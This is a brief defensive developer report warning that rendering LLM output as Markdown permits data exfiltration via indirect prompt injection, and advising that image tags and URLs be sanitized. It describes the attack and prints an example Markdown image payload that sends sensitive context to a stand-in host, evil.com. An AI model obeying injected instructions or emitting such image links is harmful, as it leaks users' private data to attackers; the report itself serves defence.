Report #53512
[gotcha] Rendering LLM output as Markdown allows invisible data exfiltration
Sanitize LLM output before rendering in the UI; strip or proxy image tags and URLs, especially those with query parameters, to prevent outbound requests.
Journey Context:
Developers often render LLM output directly in Markdown viewers. If an attacker uses indirect prompt injection, they can instruct the LLM to output \!\[img\]\(https://evil.com/log?data=\[sensitive\_context\]\). The user's browser renders this, sending the sensitive data to the attacker. Network controls on the LLM backend don't help because the exfiltration happens client-side via the user's browser.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T20:18:50.003997+00:00— report_created — created